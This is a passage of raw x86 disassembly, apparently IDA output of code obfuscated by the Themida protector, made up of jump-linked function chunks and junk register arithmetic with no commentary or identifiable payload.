mov [esp-12h+arg_C+2], ebx
pop dword ptr [edi+24h]
pop ebx
loc_5907E1: ; CODE XREF: sub_58F5B5+48E8j
push ebx
push [esp-16h+arg_10+2]
push [esp-12h+arg_C+2]
pop eax
add esp, 4
sub esp, 4
mov [esp-12h+arg_C+2], edi
push esp
jmp loc_596CC9
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_5907FE: ; CODE XREF: sub_590467+6607j
pop dx
push 20EBh
mov [esp+0], ebx
jmp loc_58B0AA
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_59080D: ; CODE XREF: sub_58F5B5-3F1Fj
mov [esp+8+var_8], ebx
jmp loc_58BB82
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_590815: ; CODE XREF: Themida_:0058C1C4j
sub esp, 4
mov [esp], ebp
mov ebp, esp
push edi
mov edi, esp
add edi, 4
jmp loc_58BE93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_59082B: ; CODE XREF: sub_5938B9-7BA0j
add edi, 7E1D0FDEh
jmp loc_58D5B0
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], ebx
push esp
jmp loc_59725F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_590845: ; CODE XREF: sub_5916C4+4207j
add al, bh
sub al, 0ADh
push ebx
jmp loc_58AFDB
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
lodsb
xor al, bl
jmp loc_58E75A
; ---------------------------------------------------------------------------
loc_590857: ; CODE XREF: Themida_:0059357Aj
pop ebp
pop dword ptr [esp]
pop esp
or [esp], ax
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_590866: ; CODE XREF: Themida_:0058AA0Bj
push esp
jmp loc_58C9A6
; ---------------------------------------------------------------------------
loc_59086C: ; CODE XREF: Themida_:00593BC6j
add edx, 4
jmp loc_591D77
; ---------------------------------------------------------------------------
loc_590877: ; CODE XREF: Themida_:loc_593B85j
shl edi, 5
jz loc_58F8D6
shl edi, 2
xor edi, 69F64C40h
sub edi, 0BC552E4Bh
add dword ptr [esp+8], 48EC0BCAh
jmp loc_5950DA
; =============== S U B R O U T I N E =======================================
sub_59089C proc near ; CODE XREF: sub_590467:loc_597C92j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058A5E4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058DFB2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E0F1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058EF99 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00591787 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00591877 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059222F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059391B SIZE 0000000A BYTES
push ebx
mov ebx, 0FFFFFFFFh
add esi, ebx
jmp loc_59222F
sub_59089C endp
; ---------------------------------------------------------------------------
loc_5908A9: ; CODE XREF: Themida_:00596A18j
pop ecx
sub ch, bl
pop bx
jmp loc_5959D0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_5908B3: ; CODE XREF: sub_592D25-63B4j
mov edi, 44BA20E7h
jmp loc_595804
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_5908BD: ; CODE XREF: sub_59762D:loc_58C654j
push edx
push ebx
mov ebx, 3A351BA8h
mov edx, ebx
pop ebx
jmp loc_5951F4
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_5908CC: ; CODE XREF: Themida_:0058EC91j
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
xor [esp], eax
jmp loc_58A596
; ---------------------------------------------------------------------------
loc_5908DD: ; CODE XREF: Themida_:00595313j
xchg edx, ebp
not edx
xchg edx, ebp
add ebp, 50375B3Dh
add ebp, 28A70966h
add ebx, ebp
mov ebp, [esp]
add esp, 4
push esi
mov esi, 2
add ebx, esi
pop esi
xchg ebx, [esp]
mov esp, [esp]
xor [esp], ax
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_590910: ; CODE XREF: sub_58F5B5+2102j
add ebx, 1F9AB9Eh
add ecx, ebx
pop ebx
push 6104h
mov [esp+8+var_8], esi
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+0Ch+var_C]
jmp loc_596B5D
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_590938: ; CODE XREF: sub_5916C4+4AC6j
pop edx
jmp loc_5956BA
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_59093E: ; CODE XREF: Themida_:0058BA70j
mov ebx, esp
sub esp, 4
mov [esp], ebp
jmp loc_58D939
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_59094E: ; CODE XREF: sub_58B4D6+2C10j
add edx, ebp
jmp loc_592349
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
loc_590955: ; CODE XREF: Themida_:00594BDAj
mov ecx, 2
mov edi, ecx
jmp loc_591085
; ---------------------------------------------------------------------------
loc_590961: ; CODE XREF: Themida_:00592080j
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_592471
; ---------------------------------------------------------------------------
lodsd
cmp dword ptr [edi+20h], 0
jz loc_58ADC4
push 36ABh
mov [esp], edi
jmp loc_590A25
; ---------------------------------------------------------------------------
loc_59098C: ; CODE XREF: Themida_:0059377Ej
mov ecx, [esp]
push edx
jmp loc_58DC49
; ---------------------------------------------------------------------------
loc_590995: ; CODE XREF: Themida_:005911E4j
mov esp, [esp]
sub esp, 4
mov [esp], eax
jmp loc_596538
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5909A6: ; CODE XREF: sub_58C17E-905j
add ebx, 4
xchg ebx, [esp+0]
jmp loc_58FEB6
; END OF FUNCTION CHUNK FOR sub_58C17E
; =============== S U B R O U T I N E =======================================
sub_5909B4 proc near ; CODE XREF: sub_59762D+17Bj
var_8 = dword ptr -8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 0058D1BA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058FC72 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00590FFA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059107C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00592A54 SIZE 0000000D BYTES
push ebp
mov ebp, 776A2D9Fh
jmp loc_592A54
sub_5909B4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5909BF: ; CODE XREF: Themida_:00596A0Ej
pop ebp
sub esp, 4
mov [esp], edx
mov edx, 2
add edi, 77F35DE0h
sub edi, 454F2F1Eh
add edi, edx
push esi
mov esi, 63E85489h
or esi, 527A75BAh
and esi, 582C502Bh
jmp loc_58D258
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5909F0: ; CODE XREF: sub_58C17E+151Bj
shl esi, 5
jmp loc_5950EB
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_5909F8: ; CODE XREF: sub_59762D:loc_594476j
; sub_592D25:loc_5946F3j
dec ebp
js loc_58FCCF
jmp loc_58A777
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_590A04: ; CODE XREF: Themida_:loc_5935A6j
sub ah, 13h
mov bh, ah
pop eax
sub dh, 0AFh
add dh, bh
add dh, 0AFh
jmp loc_595322
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_590A17: ; CODE XREF: sub_5916C4+5974j
push ecx
push dword ptr [esp+4]
pop ecx
pop [esp+4+var_4]
jmp loc_596477
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_590A25: ; CODE XREF: Themida_:00590987j
mov edi, 3955015Ch
jmp loc_595E7B
; ---------------------------------------------------------------------------
loc_590A2F: ; CODE XREF: Themida_:0058DA94j
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_590A34: ; CODE XREF: sub_58F5B5+9E8j
pop [esp-4+arg_0]
add [esp-8+arg_4], 4
push [esp-8+arg_4]
push [esp-4+arg_0]
pop esi
add esp, 4
push ebx
mov ebx, esp
jmp loc_594A6C
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
lodsb
sub al, 14h
add al, bl
jmp loc_59660C
; ---------------------------------------------------------------------------
loc_590A57: ; CODE XREF: Themida_:005917C0j
push ebx
sub esp, 4
mov [esp], ebx
mov ebx, esp
jmp loc_59554F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_590A68: ; CODE XREF: sub_58B4D6+10F1j
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+0Ch+var_C]
pop esp
sub ebx, 8E81220h
push eax
mov eax, 4A212A35h
add ebx, eax
mov eax, [esp+0Ch+var_C]
add esp, 4
add ebx, eax
push edx
mov edx, 362417FDh
jmp loc_58D2B6
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
loc_590A9C: ; CODE XREF: Themida_:005900EFj
add eax, 7B464125h
mov esi, [esp]
push 193Bh
mov [esp], ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
sub esp, 4
mov [esp], esi
mov esi, 100B5C94h
push 1D6Eh
jmp loc_58DA02
; ---------------------------------------------------------------------------
loc_590AD9: ; CODE XREF: Themida_:00591B19j
mov dx, [esp]
add esp, 2
push cx
mov cx, 6D07h
add [esp+4], cx
pop cx
add [esp+2], cx
jmp loc_590757
; ---------------------------------------------------------------------------
loc_590AF7: ; CODE XREF: Themida_:00591743j
push esp
push dword ptr [esp]
pop eax
jmp loc_5963F3
; ---------------------------------------------------------------------------
loc_590B01: ; CODE XREF: Themida_:005915D6j
mov esi, 117D5F7Bh
sub esi, 1
add esi, 6E01E081h
jmp loc_5933DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_590B14: ; CODE XREF: sub_590467+1089j
xor ch, 1Dh
shr ch, 4
sub ch, 0CBh
add ch, 0CBh
xor bl, ch
jmp loc_5964E5
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_590B27: ; CODE XREF: Themida_:0058FDE5j
pop edx
add eax, edi
sub eax, 65D23382h
jmp loc_58BC91
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_590B34: ; CODE XREF: sub_58C17E+E5Aj
pop ebx
pop [esp+0Ah+var_C+2]
pop esp
or eax, eax
jz loc_5938FF
push dword ptr [edi+1Ch]
sub [esp+6+var_8+2], 33CD15BDh
push [esp+6+var_8+2]
mov ecx, [esp+0Ah+var_C+2]
add esp, 4
sub esp, 4
mov [esp+0Ah+var_C+2], ebx
push esp
jmp loc_598018
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_590B60: ; CODE XREF: sub_5916CB+9j
mov ebx, esp
add ebx, 4
push ebx
mov ebx, esp
jmp loc_58DEBB
; END OF FUNCTION CHUNK FOR sub_5916CB
; =============== S U B R O U T I N E =======================================
sub_590B70 proc near ; CODE XREF: sub_59524C-8049j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 0058A475 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 0058AF3E SIZE 0000003D BYTES
; FUNCTION CHUNK AT 0058B146 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058B512 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058C50A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058CD07 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058D946 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005906B4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00590E7D SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00591722 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591909 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00591B9A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00592270 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0059238D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059370C SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00594971 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00595B88 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00595ED8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005978F6 SIZE 00000019 BYTES
sub esp, 4
mov [esp+0], eax
push 5B155612h
pop eax
shr eax, 7
jns loc_591722
push edx
mov edx, 7B4459DFh
jmp loc_58B845
sub_590B70 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov bl, bh
pop ebp
; START OF FUNCTION CHUNK FOR sub_5919E2
loc_590B96: ; CODE XREF: sub_5919E2-64DEj
sub edi, 4
jmp loc_58DB6C
; END OF FUNCTION CHUNK FOR sub_5919E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_590B9E: ; CODE XREF: sub_5916C4+279Fj
pop edx
pop eax
jmp loc_5956CF
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_590BA5: ; CODE XREF: sub_590010-11FDj
pop ebx
pop edi
sub esp, 4
mov [esp-18h+arg_14], esi
push ecx
push 51BC0F68h
pop ecx
sub ecx, 8985C4Fh
jmp loc_590545
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_590BC2: ; CODE XREF: Themida_:0058BE2Dj
push edx
jmp loc_58C184
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_590BC8: ; CODE XREF: sub_58C17E+5BF4j
sub cl, 83h
shr cl, 1
not cl
push edx
mov dh, 0D3h
not dh
xor dh, 0A8h
jmp loc_590558
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_590BDC: ; CODE XREF: Themida_:00593DBEj
push 0F04147Dh
pop edx
push edx
not dword ptr [esp]
pop edx
neg edx
jbe loc_592AEC
add edx, 36D13125h
add edx, 2E7109CFh
mov eax, edx
pop edx
loc_590BFE: ; CODE XREF: Themida_:0058D941j
sub ebp, 0FFFFFFFFh
shr ebp, 4
jmp loc_5962F7
; =============== S U B R O U T I N E =======================================
sub_590C09 proc near ; CODE XREF: sub_5EC2E8-607C2j
; FUNCTION CHUNK AT 005954DA SIZE 00000007 BYTES
push ebx
mov bl, 1Ch
jmp loc_5954DA
sub_590C09 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_590C11: ; CODE XREF: Themida_:0058E3D8j
; sub_5916CB+34EEj
dec edx
add edx, 0FFFFFFFFh
push ebp
mov ebp, 0AE41A8B8h
add edx, ebp
pop ebp
add ebp, 1DCD1489h
add ebp, edx
sub ebp, 1DCD1489h
mov edx, [esp+0Ch+var_C]
add esp, 4
xchg ebp, [esp+8+var_8]
jmp loc_58C76A
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
loc_590C3D: ; CODE XREF: Themida_:0058BF79j
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_593AFC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_590C4B: ; CODE XREF: sub_59762D+397j
shl ebx, 1
and ebx, 342E42CCh
and ebx, 1C2B63D6h
jmp loc_594BDF
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_590C5E: ; CODE XREF: sub_592D25-28F4j
xor edi, ebp
xor ebp, edi
xor edi, ebp
mov ebp, [esp+0]
add esp, 4
push ebp
jmp loc_597B43
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
loc_590C73: ; CODE XREF: Themida_:00592D20j
push eax
mov ax, 4C8Fh
add ax, 0F9Fh
shl ax, 3
xor ax, 52F6h
push 1740h
mov [esp], edx
mov dx, 389Dh
push ebp
mov bp, 3344h
jmp loc_597B22
; ---------------------------------------------------------------------------
loc_590C9A: ; CODE XREF: Themida_:0058EFC0j
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_59489A
; ---------------------------------------------------------------------------
loc_590CAB: ; CODE XREF: Themida_:0058D97Fj
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_5963A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_590CB7: ; CODE XREF: sub_590010+43F5j
mov ax, [esp+0]
push 0B99h
mov [esp-10h+arg_C], ecx
push esp
jmp loc_59805F
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_590CC9: ; CODE XREF: Themida_:00597DEBj
sub esp, 4
mov [esp], ecx
mov ecx, esp
jmp loc_58D804
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_590CD9: ; CODE XREF: sub_590010-3727j
xor eax, edx
pop edx
add eax, ebx
add [eax], ebp
pop eax
pop ebx
jmp loc_595FE7
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_590CE7: ; CODE XREF: sub_5EC2E8-5CDD2j
pop ecx
add ebx, 0F7BBD704h
add ebp, ebx
pop ebx
push ecx
jmp loc_5934B9
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_590CF7: ; CODE XREF: Themida_:0059543Fj
xor bh, 0E0h
mov ah, bh
jmp loc_590532
; ---------------------------------------------------------------------------
loc_590D01: ; CODE XREF: Themida_:0059743Dj
add edi, 4
xchg edi, [esp]
pop esp
add bl, ah
jmp loc_594EC4
; ---------------------------------------------------------------------------
loc_590D12: ; CODE XREF: Themida_:0058EBD9j
pop ebp
push small word ptr [eax]
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_590D1B: ; CODE XREF: Themida_:0059554Aj
add eax, 53C40480h
add eax, 20637A18h
push esi
jmp loc_5900E3
; ---------------------------------------------------------------------------
loc_590D2B: ; CODE XREF: Themida_:0058CE1Bj
pop esp
mov [esp], ecx
jmp loc_58BA4C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_590D34: ; CODE XREF: sub_58F5B5+48F4j
mov ecx, [esp-4+arg_0]
push ebx
mov ebx, esp
jmp loc_58CD15
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_590D3F: ; CODE XREF: Themida_:0058BED8j
xor ebp, eax
pop eax
jmp loc_58F567
; ---------------------------------------------------------------------------
loc_590D47: ; CODE XREF: Themida_:00596FE9j
pop ecx
add esp, 4
add eax, 2
push 71F7h
mov [esp], eax
jmp loc_58CB62
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_590D5E: ; CODE XREF: sub_58C17E+6E92j
xor ebp, ecx
mov ecx, [esp+0]
push edi
jmp loc_58CE6C
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5942E3
loc_590D69: ; CODE XREF: sub_5942E3-1D95j
; sub_595E21-7E9j
xchg eax, [esp+0]
mov esp, [esp+0]
movzx ecx, al
push eax
mov eax, esp
push 45Ah
jmp loc_58B01C
; END OF FUNCTION CHUNK FOR sub_5942E3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591059
loc_590D7F: ; CODE XREF: sub_591059-34D5j
pop ebx
jmp sub_58BA12
; END OF FUNCTION CHUNK FOR sub_591059
; ---------------------------------------------------------------------------
loc_590D85: ; CODE XREF: Themida_:005910A2j
pop esp
xchg ebx, [esp]
pop esp
shl dword ptr [esp], cl
pushf
jmp loc_596527
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_590D93: ; CODE XREF: sub_590010-23DFj
add ebx, 599C7945h
add ebx, edx
sub ebx, 599C7945h
jmp loc_59446D
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_590DA6: ; CODE XREF: sub_58F5B5:loc_59593Bj
push 1A89h
mov [esp+4+var_4], ebx
push ebp
jmp loc_58D3BC
; ---------------------------------------------------------------------------
loc_590DB4: ; CODE XREF: sub_58F5B5-289Aj
add ebx, 4
xchg ebx, [esp-8+arg_4]
jmp loc_58B583
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_590DBF: ; CODE XREF: Themida_:0058C75Dj
mov [esp], eax
sub esp, 4
mov [esp], edi
mov edi, 0D013C5Ah
and edi, 24367246h
shr edi, 3
push ebp
mov ebp, 0A7F4FDAh
add edi, 7A111344h
add edi, ebp
sub edi, 7A111344h
pop ebp
mov eax, edi
mov edi, [esp]
add esp, 4
mov ebx, 0F500AB1Ch
add ebx, eax
mov eax, [esp]
add esp, 4
and [edi+1Ch], ebx
jmp loc_592BB1
; ---------------------------------------------------------------------------
loc_590E0E: ; CODE XREF: Themida_:005943BAj
mov esp, [esp]
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
inc byte ptr [esp]
pushf
jmp loc_58A2CE
; =============== S U B R O U T I N E =======================================
sub_590E26 proc near ; CODE XREF: sub_58D99C+37C1j
; FUNCTION CHUNK AT 0058D293 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00592EE5 SIZE 00000017 BYTES
push ebp
mov ebp, 6CDE500Fh
neg ebp
jmp loc_58D293
sub_590E26 endp
; ---------------------------------------------------------------------------
loc_590E33: ; CODE XREF: Themida_:0058BFCEj
shr ebx, 5
jmp loc_59790F
; ---------------------------------------------------------------------------
loc_590E3B: ; CODE XREF: Themida_:0059335Fj
neg edi
add edi, 6BF5B9DAh
neg edi
jmp loc_596064
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_590E4A: ; CODE XREF: sub_5EC2E8-5FBCFj
pop edi
add edx, ecx
pop ecx
push eax
mov eax, 396C1E5Ch
shr eax, 1
push eax
jmp loc_58DCE0
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5948B7
loc_590E5C: ; CODE XREF: Themida_:0058EE2Ej
; sub_5948B7+209Aj
mov [esp+0], ecx
jmp loc_58BE59
; END OF FUNCTION CHUNK FOR sub_5948B7
; ---------------------------------------------------------------------------
loc_590E64: ; CODE XREF: Themida_:0058DCBBj
mov [esp], ecx
push 3063FD59h
jmp loc_59584A
; ---------------------------------------------------------------------------
loc_590E71: ; CODE XREF: Themida_:0058F27Fj
push ecx
mov ecx, 78F71FA3h
push ebp
jmp loc_58F1E0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590B70
loc_590E7D: ; CODE XREF: sub_590B70+3E25j
mov eax, [edx]
pop edx
push dword ptr [edi+eax*4]
push 4B8Bh
mov [esp+0], ebx
push edi
push 62B376CAh
pop edi
add edi, 0BE52FDB2h
mov ebx, edi
jmp $+5
pop edi
jmp loc_58AF3E
; END OF FUNCTION CHUNK FOR sub_590B70
; ---------------------------------------------------------------------------
loc_590EA5: ; CODE XREF: Themida_:0058DEAAj
push dword ptr [esp+4]
jmp loc_58F498
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_590EAE: ; CODE XREF: sub_59762D-2558j
sub ecx, 2
xor ecx, [esp+6+var_8+2]
xor [esp+6+var_8+2], ecx
jmp loc_58C39D
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_590EBF: ; CODE XREF: Themida_:0058C6E2j
neg dword ptr [esp]
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_590EC8: ; CODE XREF: Themida_:00597764j
pop eax
mov cl, dh
pop edx
jmp loc_58ECEC
; ---------------------------------------------------------------------------
loc_590ED1: ; CODE XREF: Themida_:0058E209j
sub esp, 2
mov [esp], si
jmp loc_58DB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_590EDD: ; CODE XREF: sub_5916C4+304Aj
; Themida_:005949B5j
ja loc_594CB3
jmp loc_597037
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
xchg edi, [esp]
pop esp
mov al, cl
pop eax
loc_590EEF: ; CODE XREF: Themida_:0059778Ej
push edi
mov edi, 0BB0B99h
add eax, 52C83D3Dh
add eax, 7C7A5F4Fh
sub eax, 4D8F51B4h
add eax, edi
add eax, 4D8F51B4h
jmp loc_58BB73
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_590F10: ; CODE XREF: sub_5916C4+1123j
pop esp
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_590F16: ; CODE XREF: sub_58C17E+874j
sub ebx, 20EA7753h
add ebx, edx
add ebx, 20EA7753h
pop edx
add eax, ebx
mov ebx, [esp+0]
jmp loc_592737
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_590F2F: ; CODE XREF: Themida_:0058F82Cj
push edx
mov dh, 40h
xor bh, dh
pop edx
shl bh, 5
push dx
jmp loc_58FC17
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_590F3F: ; CODE XREF: sub_595E21:loc_58C605j
; Themida_:00597562j
sub edx, 474E2E64h
mov esi, edx
mov edx, [esp+0]
jmp loc_5906A4
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_590F4F: ; CODE XREF: sub_595123-972Fj
mov [esp+0Ch+var_C], edx
push [esp+0Ch+var_8]
jmp loc_58BEED
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
loc_590F5B: ; CODE XREF: Themida_:0058C89Cj
and ch, dh
mov dx, [esp]
add esp, 2
jmp loc_58FEEB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_590F6C: ; CODE XREF: sub_58C17E+33F7j
pop ebp
sub edx, 4
push edx
push [esp+0Eh+var_C+2]
pop edx
pop dword ptr [esp+0]
mov esp, [esp+0Ah+var_C+2]
mov [esp+0Ah+var_C+2], esi
jmp loc_594C74
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_590F87: ; CODE XREF: Themida_:00591A14j
add esi, ecx
jmp loc_597FB9
; ---------------------------------------------------------------------------
loc_590F8E: ; CODE XREF: Themida_:005975A7j
sub edi, ebx
pop ebx
push ebp
push esi
jmp loc_5932DF
; ---------------------------------------------------------------------------
loc_590F98: ; CODE XREF: Themida_:00593CA2j
pop ebx
xor cl, dh
jmp loc_596E3A
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
push eax
mov eax, esp
add eax, 4
jmp loc_59525E
; ---------------------------------------------------------------------------
loc_590FB4: ; CODE XREF: Themida_:0058FAF8j
neg ecx
jnz loc_5971D3
jmp loc_597EB8
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push edx
pop edi
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_590FC6: ; CODE XREF: sub_5916C4+21D2j
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp-0Ch+arg_8]
mov esp, [esp-0Ch+arg_8]
add eax, ebp
mov ebp, [esp-0Ch+arg_8]
add esp, 4
push edi
mov edi, 56465183h
dec edi
xor edi, 0D054487h
jmp loc_5925C3
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_590FF4: ; CODE XREF: Themida_:0058ED57j
pop ebp
jmp loc_58B642
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5909B4
loc_590FFA: ; CODE XREF: sub_5909B4-D37j
push ax
pushf
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_5909B4
; ---------------------------------------------------------------------------
loc_591002: ; CODE XREF: Themida_:00592A23j
mov eax, [esp]
add esp, 4
add eax, 4
push ebp
mov ebp, 7F0226BCh
dec ebp
not ebp
and ebp, 4B8D704Eh
shr ebp, 3
not ebp
jmp loc_58BF1E
; ---------------------------------------------------------------------------
loc_591029: ; CODE XREF: Themida_:00592388j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
or bp, 584h
